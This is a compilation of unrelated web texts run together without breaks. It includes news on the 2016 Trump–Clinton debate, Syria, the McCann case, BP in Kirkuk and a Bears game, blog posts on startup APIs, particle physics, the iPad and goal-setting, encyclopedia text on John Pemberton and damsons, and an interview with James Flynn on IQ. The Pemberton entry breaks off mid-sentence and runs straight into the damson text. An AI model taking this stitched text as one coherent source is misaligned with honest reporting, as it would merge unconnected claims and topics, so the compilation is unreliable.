With prominent Republicans already abandoning him in droves, other Republicans, including leaders in Congress, are looking to the debate to see whether Trump shows enough contrition to stand by him despite his vulgar comments about women. There's been uncertainty about whether the Republican Party might shift resources away from his campaign in the final weeks or even try to replace him on the ticket.
Another layer of unpredictability is the debate format. The candidates are taking questions from undecided voters and will be onstage with stools rather than traditional podiums.
Republican presidential nominee Donald Trump speaks as Democratic presidential nominee Hillary Clinton listen during the second presidential debate at Washington University in St. Louis, Sunday, Oct. 9, 2016. (Saul Loeb/Pool via AP)
Democratic presidential nominee Hillary Clinton, right, and Republican presidential nominee Donald Trump listen to a question during the second presidential debate at Washington University in St. Louis, Sunday, Oct. 9, 2016. (Saul Loeb/Pool via AP)
Democratic presidential nominee Hillary Clinton walks past Republican presidential nominee Donald Trump during the second presidential debate at Washington University in St. Louis, Sunday, Oct. 9, 2016. (AP Photo/Patrick Semansky)
Republican presidential nominee Donald Trump watches Democratic presidential nominee Hillary Clinton during the second presidential debate at Washington University in St. Louis, Sunday, Oct. 9, 2016. (AP Photo/Patrick Semansky)I wholeheartedly agree that it's annoying that these APIs aren't as stable as things that came before, but the bigger problem from my perspective is that their half-lives are tiny. Already we've done several integrations where subsequently the company has either gone out of business, " pivoted " and ditched or abandoned their API in the process, or got acquired and the new company shut down the API.
And its not just startups. I've lost count on how many services Google has sun-setted this year -- not just ones they acquired, but also their own.
Don't get me wrong, I don't fault the individual decision makers. I don't have full background information, and for all I know I'd make the same decisions if I did. But what I do know is that my process for looking at APIs and online services is changing.
At my first company I got asked this question a bunch: how do we know you're going to be around in five years? (We weren't.)
Now five years seems laughable! Almost all entrepreneurs I meet don't think they're going to be doing their startup in five years. Side note: it's a good negative investment filter.
I don't really have good answers yet for what to do about it or how to better evaluate a particular case. I'm annoyed at myself for doing this, but I find myself gravitating to startups that have taken in a lot of funding. I love working with startups because they are hungrier and more flexible, and so this type of startup seems like a sweet spot. They have resources to spare, both to help you out and stay in business.
Some other things I've found myself thinking about in particular cases wrt to this question about API half-lives:
How active is their API discussion forum?
How responsive are they to API bugs/issues?
How core is the API to their business?
How long have they been around already?
What is their runway?
Do they seem like they're passionate about what they're doing?
Are they likely acqui-hire targets? Another approach is to apply Chaos Monkey philosophy and expect anything to die at any time. We pretty much do that. However, we still need to place bets. With so many startups, there are often several choices in any given category.
At DuckDuckGo, we use a lot of external APIs and services. Sure, we use more than most, but the trend is clear: startups are building more and more services and other companies are relying on them more and more.Syrian army forces backed by Iranian-backed militias pushed deeper into the last rebel-held enclave near a strategic border area with Israel and Lebanon in a new expansion of Tehran's influence in the war-torn country.
The army and the Shia forces advanced east and south of the Sunni-rebel held bastion of Beit Jin backed by some of the heaviest aerial bombing and heavy artillery shelling since a major assault began over two months ago to seize the area, rebels said.
The crushing of the Sunni rebel presence will allow Hezbollah to open another secure arms supply line from its border in southern Lebanon into Syria - Western diplomatic sources
The Syrian army said it had encircled the village of Mughr al Meer at the foothills of Mount Hermon as troops moved towards Beit Jin amid fierce clashes.
The enclave is the last rebel bastion left southwest of Damascus known as the Western Ghouta that had since last year fallen under government control after months of heavy bombing on civilian areas and years of siege tactics that forced rebels to surrender.
A Western intelligence source confirmed rebel reports that Iranian-backed militias including Hezbollah were playing a major role in the ongoing battles.
"The Iranian-backed militias are trying to consolidate their sphere of influence all the way from southwest of Damascus to the Israeli border," said Suhaib al Ruhail, an official from the Liwa al Furqan rebel group that operates in the area.
Weeks of escalation
Worried by Iran's expanding influence in Syria after the defeat of Islamic State, Israel has stepped up its strikes in the past few weeks against suspected Iranian targets inside Syria.
Early this month, an Israeli strike on a base near Kiswah, an area south of Damascus, was widely believed to be an Iranian military compound, according to a Western intelligence source.
Israel has been lobbying both big powers to deny Iran, Hezbollah and other Shia militias any permanent bases in Syria, and to keep them away from the Golan, as they gain ground while helping Damascus beat back Sunni-led rebels.
The southwest of Syria is part of a de-escalation zone in southern Syria agreed last July between Russia and Washington, the first such understanding between the two powers.
The area has not seen Russian bombing unlike other ceasefire areas in Syria.
Diplomatic sources say several thousand Shia fighters who have been amassing from outside the Quneitra province are pitted against hundreds of Islamist and mainstream Free Syrian Army (FSA) rebels closing ranks under the banner of Itihad Quwt Jabal al Sheikh (Union of Fighters of Jabal al Sheikh). They are mainly drawn from local fighters from the area.
Southern Syria faces more uncertainty as US pulls funding for anti-Assad militias Read More »
With the army and Iranian-backed offensive widening, the rebels have called on youths to enlist as mosque imams in Beit Jin called on people to take up arms and fight the army.
Rebels still have a sizeable presence in central and southern Quneitra, in the Syrian Golan Heights.
Western diplomatic sources say the crushing of the Sunni rebel presence in areas they have been in since 2013 will allow Hezbollah to open another secure arms supply line from its border in southern Lebanon into Syria.
Since the beginning of the conflict in Syria, Iran has had a growing presence in the country, deploying thousands of Shia fighters who have fought against both mainstream Sunni rebel groups and more militant groups.British police investigating the 2007 disappearance of 3-year-old Madeleine McCann have released two new composite drawings of a man they want to question in her suspected abduction.
Man wanted for questioning in the disapperance of Madeleine McCann. Metropolitan Police
The images were released ahead of the broadcast Monday night of a the BBC "Crimewatch" program about the case, which has made headlines around the globe.
Investigators with London's Metropolitan Police said they had completed a more detailed reconstruction of the events surrounding Madeleine's disappearance and that the timeline and version of events had "significantly changed."
Police did not say exactly what had changed, but said it was of "vital importance" that they speak to a man described by witnesses. The man is described as German. He is white, between the ages of 20 and 40 with brown hair, police said.
Another sketch of the man wanted for questioning in the Madeleine McCann case. Metropolitan Police
Madeleine, from Leicestershire, England, was on vacation with her family in the southern Portuguese resort of Praia da Luz when she vanished on May 3, 2007. Her parents, Kate and Gerry McCann, told police they left Madeleine and two younger siblings sleeping in their holiday apartment while they dined with friends nearby. When the parents returned to check on the children, Madeleine was gone.
Portuguese police named first a local man and then the McCanns themselves as suspects in the case, but backed off those allegations without filing charges. Portuguese police later closed the case, but British authorities began their own probe. Kate and Gerry McCann have said they will never give up looking for their daughter.We broke the News Tuesday that Brock Lesnar was at The Monday Night Raw following WWE Fastlane, which he was advertised to make an appearance. He ended up never appearing on TV and left the building visibly upset according to multiple sources.
The update to this story is that Brock Lesnar and Vince had a business disagreement involving a new WWE Contract, which would extend it past Wrestlemania 31. Some people have claimed that Lesnar wants the ability to be able to jump back to UFC while under a WWE contract.
Which does not sound like to crazy of a possibility for Lesnar to be asking for because he received the ability to use outside sponsors when wearing is merchandise; which no other superstar has ever been able to do.
While other people have also said the disagreement between McMahon and Lesnar has nothing to do with anything UFC and more about pay. Whatever the issue it forced Brock Lesnar to walk out of Monday Night Raw.
While Brock still is under contract to appear on March 23rd, Wrestlemania 31 and two other future dates, we do not expect him to break his contract by not showing up. WWE has extremely hefty fines for not showing up to a normal appearance dates, we can only imagine how much the fine would be for not following through with a date such as Wrestlemania, let alone the legal battles that could occur.
Many people are saying that the two parties are very close to making an agreement in the next week or so. We will of course keep you updated on any breaking news. Do you want breaking News from us? Its pretty easy, at the top right corner just put your email address in and go to your email to click the confirm link! We will deliver wrestling news only once a day in one simple email!
Picture Credits WWE.com
By Ramsey S.
Follow us on Twitter @ WWERUMBLINRUMOR
Follow Me @WWERamseyAt the end of the LHC's first run at high energies, both the CMS and ATLAS collaborations reported a particularly interesting "bump" in the diphoton channel. Based on what's known and predicted of the Standard Model, there should be a particular pattern to two-photon signals with a given particular energy. A bump is the most surefire indication we can look for in the search for a new particle, and a bump of a particular size, width and energy could either indicate a completely new, fundamental, beyond-the-standard-model particle, the first of its kind -- or a new standard model feature -- or it could simply be statistical noise. Despite the fact that it would be the nightmare of most of my colleagues, I’m hoping the diphoton bump turns out to be nothing more than noise.
I finished high school in 1995. It was the year the top quark was discovered, a prediction dating back to 1973. As I read the articles in the news, I was fascinated by the mathematics that allowed physicists to reconstruct the structure of elementary matter. It wouldn’t have been difficult to predict in 1995 that I’d go on to earn a PhD in theoretical high energy physics.
Little did I realize that for more than 20 years the so-provisional-looking standard model would remain the undefeated world champion of accuracy, irritatingly successful in its arbitrariness and yet impossible to surpass. We added neutrino masses in the late 1990s, but the idea that they wouldn't be massless dates back to the 1950s. The prediction of the Higgs, discovered 2012, originated in the early 1960s. And while the poor standard model has been discounted as “ugly” by everyone from Stephen Hawking to Michio Kaku to Paul Davies, it’s still the best we can do.
Since I entered physics, I’ve seen grand unified models proposed and falsified. I’ve seen loads of dark matter candidates not being found, followed by a ritual parameter adjustment to explain the lack of detection. I’ve seen supersymmetric particles being “predicted” with constantly increasing masses, from some GeV to some 100 GeV to LHC energies of some TeV. And now that it looks like the LHC isn’t going to see any superpartners either, my colleagues in particle physicists are more than willing to once again move the goalposts.
During my professional career, all I have seen is failure. A failure, that is, of particle physicists to uncover a more powerful mathematical framework that improves upon the theories we already have. Yes, failure is part of science – it’s frustrating, but not worrisome. What worries me much more is our failure to learn from those failures. Rather than trying something new, we’ve been trying the same thing over and over again, expecting different results.
When I look at the data what I see is that our reliance on gauge-symmetry and the attempt at unification, the use of naturalness as guidance, and the trust in beauty and simplicity aren’t working. The cosmological constant isn’t natural. The Higgs mass isn’t natural. The standard model isn’t pretty, and the concordance model isn’t simple. Grand unification failed. It failed again. And yet we haven’t drawn any consequences from this: Particle physicists are still playing today by the same rules as in 1973.
For the last ten years you’ve been told that the LHC must see some new physics besides the Higgs because otherwise nature isn’t “natural” – a technical term invented to describe the degree of numerical coincidence of a theory. I’ve been laughed at when I explained that I don’t buy into naturalness because it’s a philosophical criterion, not a scientific one. But on that matter I got the last laugh: nature, it turns out, doesn’t like to be told what’s presumably natural.
The idea of naturalness that has been preached for so long is not compatible with the LHC data – the Higgs but no further new physics – regardless of what else will be found in the data yet to come. And now naturalness is in the way of moving predictions for so-far undiscovered particles – yet again – to higher energies. Particle physicists, opportunistic as always, are suddenly more than willing to discard of naturalness to justify the next larger collider.
The LHC so far hasn’t seen evidence for physics beyond the standard model, except possibly for the diphoton bump. That not-quite-robust hint is the only remaining anomaly in the LHC data that might signal new physics, the resort of last hope. The statistical significance isn’t remarkable – we have seen many fluctuations of this size come and go. But if the bump doesn’t disappear with the data from the next run, the standard model might fall.
Broadly speaking, there are three options for what the anomaly could be:
it might be new physics, it might be a little understood aspect of standard model physics, or it might simply be a statistical fluctuation that turns out to be nothing novel at all.
The first option is arguably the more exciting one and it has attracted the bulk of attention in the last couple of months. Indeed, there have been so many proposals for what the diphoton bump could be I’m unable to survey them, but a brief summary is: it doesn’t look like anything that anybody expected before they saw the data. Most importantly, it neither looks like a fourth generation nor like supersymmetry. If you have any respect left for particle physicists at this point, this should actually tell you that the bump is likely to join the nirvana of statistical flukes.
The last word on the diphoton anomaly hasn’t been spoken, and it’s too early to jump to conclusions, so I won’t. The only rumors I have heard are the same rumors that have already circulated on Twitter, I’m no wiser than you and have thus nothing to add about the significance of the bump. But I want to spend a few words on the significance of no-bump.
If the bump goes away, this would catapult us into what has become known as the “nightmare scenario” for the LHC: The Higgs and nothing else. Many particle physicists are afraid of this scenario because, if it comes true, it will leave them without guidance, lost in a thicket of rapidly multiplying models that threaten to block out sunlight. Without some new physics, everyone is concerned we’ll have nothing to work with that we haven’t had already for 50 years. Without any new inputs that can tell us which direction to look towards in the ultimate goal of unification and/or quantum gravity, we’d finally have to admit the truth: we’re completely lost.
That’s why I’d love it if the bump goes away. Because it would be a clear signal that we’ve been doing something seriously wrong, that our experience from constructing the standard model is no longer a promising direction to continue.
We already know we’ve been doing something wrong – bump or no bump – because naturalness has gone out the window. But if the bump stays, chances are we’d try to absorb it into the mathematics we already have rather than look for something really new. Sometimes things have to get really bad before they can get better. That’s why for me no-bump is the most hopeful outcome.* Former BP CEO Hayward working with KRG as head Genel
* Iraq wants to raise output to 600,000 bpd from 280,000
* KRG also seeks to raise output on its side of field
By Peg Mackey and Andrew Callus
BAGHDAD/LONDON, Jan 17 (Reuters) - BP’s deal to develop an Iraqi oilfield that straddles the border with the autonomous Kurdish region puts it in the front line of a sectarian stand-off, in which rivals and its former CEO have chosen the other side.
Under the draft agreement revealed by Reuters on Wednesday, BP will undertake work to arrest declining production at the Kirkuk oilfield.
Kirkuk’s oil riches are at the centre of a crisis within the national government of Sunni, Shi’ite and Kurdish parties over how to share power amid increasing worries the country may relapse into wide-scale sectarian bloodshed.
At least 25 people died on Wednesday in a Kirkuk suicide bombing.
BP will be working on the Baghdad-administered side of the border on the Baba and Avana geological formations. Kirkuk’s third formation, Khurmala, is controlled by the Kurdistan Regional Government (KRG).
“From a political perspective, this would move BP close to the fault line. But there are also very solid technical reasons for the oil ministry to have BP at Kirkuk,” a western oil executive working in Iraq said on Thursday.
Kirkuk output has slumped to 280,000 bpd from 900,000 bpd in 2001 after years of injecting water and dumping unwanted crude and products into the field. Iraqi officials have said they would like BP to raise production capacity at this 77-year old workhorse to around 600,000 bpd in five years.
BP’s former chief executive Tony Hayward, now heading a new company, and a number of rivals including Exxon Mobil and Chevron have cast their lot with the Kurdish side of the dispute.
In an interview with Reuters in September, Kurdistan Energy Minister Ashti Hawrami said he wanted to deploy oil companies on a project to raise Khurmala’s output to as much as 300,000 barrels a day (bpd) from its current 85,000 bpd.
Hawrami also said the KRG, with autonomy and its own armed forces since 1991, would also be interested in capturing the gas that is now being flared from the Avana dome.
CLOSE RELATIONSHIP
At the start of its project, BP will make a “special allocation” of $100 million to help stop Kirkuk’s decline and carry out surveys to get a clear picture of the field.
“We have made a proposal for short-term assistance, which they appear to like and we’re progressing on from that,” Michael Townshend, president of BP in Iraq, said on Wednesday. “It’s early days.”
BP has arguably the best relationship with Baghdad among the world’s top international oil companies through its contract at the huge Rumaila field in the south of the country, far from the disputed Kurdish north.
The KRG’s oil exports and contracts are at the heart of a wider dispute with Baghdad’s Arab-led government over territory, oilfields and political autonomy.
Iraq’s government insists it alone has the sole authority to export crude oil and sign deals, but Kurdistan says the constitution allows it to agree to contracts and ship oil independently of Baghdad.
Iraq Energy minister Abdul Kareem Luaibi has said Baghdad intends to sue Genel Energy - the first company to export oil directly from Kurdistan - and may slash the government’s allocated budget to the region unless it halts what he rejected as smuggling.
Genel is led and part-owned by Hayward, the former head of BP who quit the company after the U.S. Gulf oil spill of 2010.
BP’s rivals Exxon, Chevron, Total and others have angered and alienated Baghdad by signing lucrative production-sharing contracts with the KRG on better operating conditions than in the south.
Baghdad issued Exxon an us-or-them ultimatum a year ago. The result was the U.S. major opted to sell its 60 percent stake in the West Qurna-1 oilfield in southern Iraq. China National Petroleum Corp (CNPC) has emerged as the front-runner to buy it.MINNEAPOLIS - Marc Trestman wouldn't acknowledge the widespread belief he won't be back as coach of the Chicago Bears.
He expressed pride in the effort by the players in the season-ending loss at Minnesota. He acknowledged again the frustration of persistent failures. He even said he expects to return in 2015.
But another off day by the offence didn't do Trestman's resume any favours.
Teddy Bridgewater threw the go-ahead 44-yard touchdown pass to Adam Thielen in the third quarter, guiding the Vikings to a 13-9 victory on Sunday to put one more blemish on a forgettable year for the Bears.
"My plan is to continue to finalize my notes now that the season is over and make sure that when the opportunity arises I'll be able to explain how to fix this thing," Trestman said, "because we have to get better."
That much is true for the Bears (5-11), who finished with their worst record in 10 years. Trestman's status was much murkier.
"All I know right now is we've got a meeting tomorrow at 11 o'clock with the team, and we'll move forward from there," Trestman said.
Jay Cutler returned from a one-game benching with 172 yards on 23-for-36 passing without a fumble or an interception, but he rarely threw long and the offence managed only 264 yards behind a series of unforced errors. The Bears had eight penalties for 50 yards.
Cutler, for his part, spoke to the uncertainty surrounding not only the coaching staff but his own status.
"It's part of the game. That's kind of how it is. I'd like to be back. I said that a couple weeks ago. But whatever happens, we'll deal with it then and make plans accordingly," said Cutler, who finished turnover-free for only the third time in 15 games this season.
Blair Walsh kicked two field goals and backup Audie Cole had 14 total tackles for the Vikings (7-9), who ended coach Mike Zimmer's first year on a winning note.
After the Vikings drove to the 3-yard line late in the game, Matt Asiata was stuffed for no gain on the same play on both third-and-1 and fourth-and-1 to give Cutler and the Bears one last opportunity with 2:53 left and a four-point deficit.
They bungled it, metaphorically for this mess of a season. Three flags, including two false starts, plus an incompletion doomed the drive.
"We all regressed. I regressed. Our offence regressed dramatically for a number of reasons," Trestman said.
Alshon Jeffery had only two catches for 34 yards after totalling 23 receptions, 384 yards and three touchdowns over the past two games against the Vikings. Without Brandon Marshall to attract attention elsewhere, the Vikings led by cornerback Xavier Rhodes had Jeffery well under control.
The bright spot for the Bears? Matt Forte had eight receptions, giving him an NFL-running-back-record 102 for the season to pass Larry Centers. Forte, with a modest 51 yards on 17 carries, also topped the 1,000-yard rushing mark for the fifth time in seven years.
Forte deferred credit to his teammates, reluctant to express excitement about the record given the circumstances. He affirmed a question afterward about whether the offence became too predictable.
"Sometimes we would line up in a formation that we had run a specific play out of a few more times than we should have. Defences are smart. They watch film, they read their keys and they know stuff like that," Forte said.
Kyle Fuller reached the end zone with an interception return early in the third quarter, but the replay revealed his knee was down at the 9-yard line.
That was the second of three touchdowns, two by the Bears, overruled by an official review. The Bears had to settle for the second of three field goals by Jay Feely, who later missed a 43-yard try.
Then Bridgewater was in a rhythm, connecting with Thielen for 22 yards and finding him wide open for the score on the ensuing play and a 10-6 lead when he beat Fuller and safety Brock Vereen was too late to help during a miscommunicated coverage.
NOTES: Forte took the record from Larry Centers, who had 101 catches for Arizona in 1995. Forte also topped 1,000-yard rushing mark for the fifth time in seven years.... Cole had an interception negated by an offside penalty on Corey Wootton, who spent the past four seasons with the Bears.This article is about the American druggist. For other people named John Pemberton, see John Pemberton (disambiguation)
John Stith Pemberton (8 July 1831 – 16 August 1888) was an American pharmacist who is best known as the inventor of Coca-Cola. In May 1886, he developed an early version of a beverage that would later become world-famous as Coca-Cola, but sold his rights to the drink shortly before his death.
Background [ edit ]
Pemberton was born on 8 July 1831, in Knoxville, Georgia, and spent most of his childhood in Rome, Georgia. His parents were James C. Pemberton and Martha L. Gant. He entered the Reform Medical College of Georgia in Macon, Georgia, and in 1850, at the age of nineteen, he earned his medical degree.[1] His main talent was chemistry.[2] Shortly thereafter, he met Ann Eliza Clifford Lewis of Columbus, Georgia, known to her friends as "Cliff", who had been a student at the Wesleyan College in Macon. They were married in Columbus in 1853. Their only child, Charles Ney Pemberton, was born in 1854. They lived in a Victorian cottage, the Pemberton House in Columbus, a home of historic significance which was added to the National Register of Historic Places on September 28, 1971.[3][4][5][6] After initially practicing some medicine and surgery, Dr. Pemberton opened a drug store in Columbus.[1]
During the American Civil War, Pemberton served in the Third Cavalry Battalion of the Georgia State Guard, which was at that time a component of the Confederate Army. He achieved the rank of lieutenant colonel.[1]
Founding Coca-Cola [ edit ]
In April |
of damson once widely grown in County Armagh, Ireland, was never definitely identified but generally known as the Armagh damson; its fruit were particularly well regarded for canning.[46] Local types of English prune such as the Gloucestershire 'Old Pruin', are sometimes described as damson varieties.
White damson [ edit ]
Although the majority of damson varieties are blue-black or purple in colour, there are at least two now-rare forms of "white damson", both having green or yellow-green skin. The National Fruit Collection has accessions of the "White Damson (Sergeant)"[47] and the larger "White Damson (Taylor)",[48] both of which may first have been mentioned in the 1620s.
To confuse matters, the White Bullace was in the past sold in London markets under the name of "white damson".[49] Bullaces can usually be distinguished from damsons by their spherical shape, relatively smooth stones, and poorer flavour, and generally ripen up to a month later in the year than damsons.
Uses [ edit ]
The skin of the damson can have a very tart flavour, particularly when unripe (the term "damson" is often used to describe red wines with rich yet acidic plummy flavours). The fruit is therefore most often used for cooking, and is commercially grown for preparation in jam and other fruit preserves. Some varieties of damson, however, such as "Merryweather", are sweet enough to eat directly from the tree, and most are palatable raw if allowed to fully ripen. They can also be pickled, canned, or otherwise preserved. The Luxembourg speciality quetschentaart is a fruit pie made with insititia plums.[50]
Because damson stones may be difficult and time-consuming to separate from the flesh, preserves, such as jam or fruit butter, are often made from whole fruit. Most cooks then remove the stones, but others, either in order not to lose any of the pulp or because they believe the flavour is better, leave the stones in the final product. A limited number of damson stones left in jam is supposed to impart a subtle almond flavour,[51] though as with all plums damson stones contain the cyagenic glycoside amygdalin, a toxin.
Damson gin is made in a similar manner to sloe gin, although less sugar is necessary as the damsons are sweeter than sloes. Insititia varieties similar to damsons are used to make slivovitz, a distilled plum spirit made in Slavic countries.[52] Damson wine was once common in England: a 19th-century reference said that "good damson wine is, perhaps, the nearest approach to good port that we have in England. No currant wine can equal it."[53]
References [ edit ]
Bibliography [ edit ]
Common Ground Editorial Committee (2000). The Common Ground book of orchards: Conservation, Culture and Community. Toller Fratrum, UK: Common Ground. ISBN 9781870364218.
Hogg, Robert (1884). The Fruit Manual: a Guide to the Fruits and Fruit Trees of Great Britain.
Stephens, B. (2006). "Damsons & dyeing" (PDF). Wyre Forest Study Group Review.
Taylor, H. V. (1949). The Plums of England. Lockwood.
Woldring, H. (1998). "On the origin of plums: a study of sloe, damson, cherry plums, domestic plums and their intermediate forms". Palaeohistoria. 39,40: 535–562.If you ever doubted that our politicians really know nothing about economics, you must watch this video from Rep. Jesse Jackson Jr (D-IL) who blasts Apple and Steve Jobs for killing American jobs with the iPad.
It's simple: Because everyone can download books and newspapers, everyone who works at bookstores (he notes Borders going out of business) or the publishing industry, or for textbooks, will lose their jobs to the people making iPads in China.
Obviously he ignores all the wealth the iPad has created in America, and the fact that there are all kinds of other jobs that have been created around the iPad, and he ignores that just about every single technological innovation in the world has experienced a similar dynamic.
it feels silly to even bother refuting this. Just watch the video, via Real Clear Politics.New Delhi, December 19: Hafiz Saeed, the most wanted terrorist from Pakistan showed support to Aam Aadmi Party leader Arvind Kejriwal on Friday, saying thanks from his twitter account for calling Prime Minister Narendra Modi ‘a coward and a psychopath’.
The Jamat-ud-dawa chief who is wanted in the 2008 Mumbai terror attack was also a mastermind of the attack.
After CBI raided office of Principal Secretary to Kejriwal on Tuesday after which he tweeted against Narendra Modi saying that, ‘Mod is a coward and a psychopath’.
The message conveyed by AAP conveyor went viral on social media due to which both the houses in Parliament stopped functioning. (ALSO READ: CBI denies raiding Arvind Kejriwal office, urges Delhi CM to stop spreading false propaganda)
On Friday, JUD chief Hafiz Saeed supported Kejriwal’s tweet an said on a microblogging platform, that, “Finally, Some Good Indians Accepted this fact! Thank you. He also tagged Arvind Kejriwal in his tweet.
Recently Saeed, who is a free man in Pakistan has dared New Delhi to prove his involvement in the 2008 Mumbai attacks. Saeed who holds a bounty of US $10 million criticised Prime Minister Nawaz Sharif for holding a meeting with Narendra Modi in Paris, saying it had hurt the sentiments of “Kashmiri Muslims”.
Saeed is accused of planning the Mumbai terror attack of 2008 in which more than 180 people died and the attack brought the countries financial capital to a standstill for almost four days. Instead of a huge bounty on him the JUD chief roams freely in the Pakistan and holds public rally every month.Credit (great post about looking better on pictures depending on your body type)
Recently, we had a huge mirror fitted in the bathroom. It starts at knee level, while the tainted shower door reflects your whole silhouette. The shower door is often open so I rarely use it, while I look at myself in the mirror every day, at least when I brush my teeth. Yes, I am vain, and haven’t had a big mirror in years, so I quite enjoy it. And, it makes me look pretty darn good. More so than usual. At first I thought all my swimming/running efforts were paying off, until I saw my reflection on the shower door. Full sized, normal me. Why the difference? Perspective. Having half your legs cut by the mirror enables you to imagine interminably long legs, when in reality they are half the size of Julia Robert’s. Check out the post’s picture to see how it works.
I could stop looking at the magic mirror, or fill my brain with limiting thoughts like “don’t dream, this is not really you”, but instead I choose to look some more and tell my self that I look great.
Is it good to dream?
Of course. We push our barriers when we dream. Especially in our sleep, since our subconscious is free to wander without any boundaries. Then we wake up and we say “that’s not possible”. Well, if you had wings and were flying in outer space, probably not. But often, you wake up from a dream feeling really good. Maybe you were on the beach with your family, maybe your mother had come to visit, maybe you had finally opened that flower shop you’ve been talking about leaving your job for for years.
Dreams send us to another reality, where the small barriers and excuses we invent every day not to achieve our goals don’t exist anymore.
Better than dreaming, start acting
“A goal is a dream with deadlines” said someone smart. And while it is good to dream, after dreaming, you have to get to your action plan. You know goals have to be SMART (Specific, Measurable, Attainable, Realistic and Timely).
“I want to start running” is not a SMART goal. “By Christmas, I want to be able to run a 5k, and for that I will train 3 times a week following the couch to 5k program for the next 9 weeks, and account for an extra week because life happens” is a great goal. You know where you want to go (run a 5k), how fast (by Christmas) and how you will get there (training 3 times a week).
I want to further my education” does not count as a SMART goal either. “I want to earn my MBA within the next two years” does count as a SMART goal, however, and is entirely attainable if you have the right plan in place. Look at online courses to see if you believe that they could work for you. Online universities are becoming a great way for people to reach their goals because they provide the flexibility that is often needed for you to eliminate excuses. In many cases, you can also choose a specialization while earning your degree, giving you the ability to create much more specific career goals.
“I want to save money”, “I want to eat less”, “I want a promotion at work” are not goals, they are just dreams. You need to sit down and work on HOW you are going to get there.
If you are really motivated, and spend one hour a day seriously working on something related to your goal, every single day (and because you are so motivated you shouldn’t feel it), you will succeed. It may take time, but you will.
Focus on your future reality
When it comes to achieving your goals and defining your new life, your worst enemy is often yourself. “I can’t do that”, “I am fat, I have always been”, “it is too hard for me”… are as many negative beliefs that prevent you from doing anything. The status quo is much safer, change is frightening.
By focusing on your future reality (the awesome you, able to run 5k), you have a visual image of what it could be like, you have a dream to aspire to. Failure will hurt less than if you fill your head with negative beliefs and never even start working towards your goals.
Life is how you see it. Even if you are still 5lb overweight, if you imagine yourself at your ideal weight and start acting as such, you will irradiate confidence, attract people to talk to you and get to know you. It doesn’t matter if you haven’t reached your goal just yet, picturing it makes you a little closer to it.James Flynn is a hero to many for his work on genes and IQ, but his latest book, Does Your Family Make You Smarter?, contains provocative claims about black parenting
In the garden of a terraced house in Oxford, on the hottest, sunniest day of the year, I meet Professor James R Flynn, an American-born academic who is a hero to many people. More than 30 years ago, he discovered a phenomenon that revolutionised the study of IQ and seemed finally to settle the argument over nature versus nurture. He showed that, across the world, average IQs had risen by roughly three percentage points every decade since at least 1930, and probably much longer.
James Flynn: IQ may go up as well as down Read more
Since evolution doesn’t work fast enough to produce genetic upgrading on that scale, it seemed that environment must be the dominant influence. According to Flynn, rising IQs went hand-in-hand with modernisation, which involves more years of education and more jobs that require analytic abilities and abstract thinking. The belief that better schooling, and positive discrimination in favour of disadvantaged children, could make a difference was seemingly vindicated.
The view, put forward by a number of British and American academics at that time, that black people’s IQs were genetically inferior to those of whites and Asians was finally discredited. So was the idea that African countries were poor because their inhabitants were stupid. IQs in developing countries also rise as they modernise and will eventually catch up those in developed countries. Best of all, rising IQs led to better moral reasoning, putting racism and sexism on the defensive.
Nearly all psychologists now accept what they call “the Flynn effect”, a remarkable accolade for a man who isn’t even a specialist in psychology, his academic subject being political studies. This is not the only reason to admire “Jim”, as family and friends call him. He is also an ardent democratic socialist who left an academic career in the US because he believed he was held back by his political views and his activity in the civil rights movement. He exiled himself to New Zealand in the 1960s, becoming a professor at the University of Otago in Dunedin. There, he helped found the Alliance party, and stood unsuccessfully for parliament against the local version of New Labour. He named his son, Victor, now an Oxford maths professor, after Eugene Victor Debs, five times presidential candidate for the Socialist Party of America.
This, I think, as we sit in Victor’s garden, is like meeting Einstein or Freud, men who changed for ever the way we see the world. Flynn, now 82, speaks fluently and wittily in Irish-American cadences (his grandfather, a teacher, fled the 19th-century Great Hunger in Ireland). He runs twice a day “though not as fast as I did 10 years ago”. He still teaches four-fifths of a timetable at Otago and writes nearly a book a year.
We are here to talk about his latest book, Does Your Family Make You Smarter? Having explored IQ differences between generations, he has turned his attention to those within generations, which is a different matter. It is already evident to me, after reading the book, that the Flynn effect doesn’t settle as much as some of us thought or hoped it did. And that by 21st-century standards, perhaps Flynn doesn’t quite measure up as a liberal hero.
Psychologist on a mission to give every child a Learning Chip Read more
The answer to the question in the title, Flynn explains, is that your family environment’s effect on your IQ almost disappears by the age of 17. An important exception is in the vocabulary component of IQ tests, where the effect persists into the mid-20s and can make a big difference, at least in the US, to the chances of getting into a top university. The home has most influence in early childhood but is swamped by later environments at school, university and work. And they will more closely match your genes because you will seek out (and be chosen for) environments that match your “genetic potential”, whether it’s basketball, carpentry or mathematics.
So having taken genes out of the equation, Flynn has apparently put them back in. Nurture hasn’t won after all. Over the years, a modernised environment will raise everyone’s game. But within each generation, the gap between groups – classes, races, genders – can, at least theoretically, remain the same as they were. In practice, groups previously excluded from full access to education and professional careers will close the gap.
Flynn emphasises that a rise in the potency of genes isn’t matched by a corresponding decline in the potency of environment: “The potency of one is added to the potency of the other.” Moreover, 20% of IQ differences are attributable to neither environment nor genes but to “chance factors” of which our ability to improve ourselves is the most important.
“You can be at the 98th percentile [more intelligent than all but 2% of the population],” he says. “At school, you kick teachers in the ankles, don’t hand in your homework, get into fights and end up being suspended. You become a bricklayer in a humdrum environment and it costs you, say, 10 IQ points. Then you think: to hell with this, all these guys talk about is girls and football, I’m going to university. Your IQ could rise from 120 to 130 and you’ve leapfrogged four-fifths of the people ahead of you.”
We are talking averages, of course. So I ignore the implied slur on bricklayers, accept the good news – that free will has a significant role – and move on.
Interview: the moral philosopher James Flynn Read more
If we are all getting brighter and better at moral reasoning, how does Flynn account for Donald Trump? “The rise of visual culture means far fewer people read serious novels and history. They live in a bubble of the present, believing what they are told because they have nothing to position it against. Improved analytic abilities do not make you a better citizen.”
And if we bring back grammar schools, is it possible to set a tutor-proof 11-plus exam? “Yes, but only by giving everyone a tutor.”
I have many more questions but one in particular looms over discussions about IQ and we both know we can’t avoid it. It was, after all, to challenge the late Arthur Jensen, professor of educational psychology at the University of California, Berkeley – who claimed the genes of African Americans were responsible for their inferior IQ scores – that Flynn began to examine the evidence on intelligence. But a sentence from his new book is nagging away at me. American blacks, it says, “come from a cognitively restricted subculture”.
Andrew Anthony on the IQ test Read more
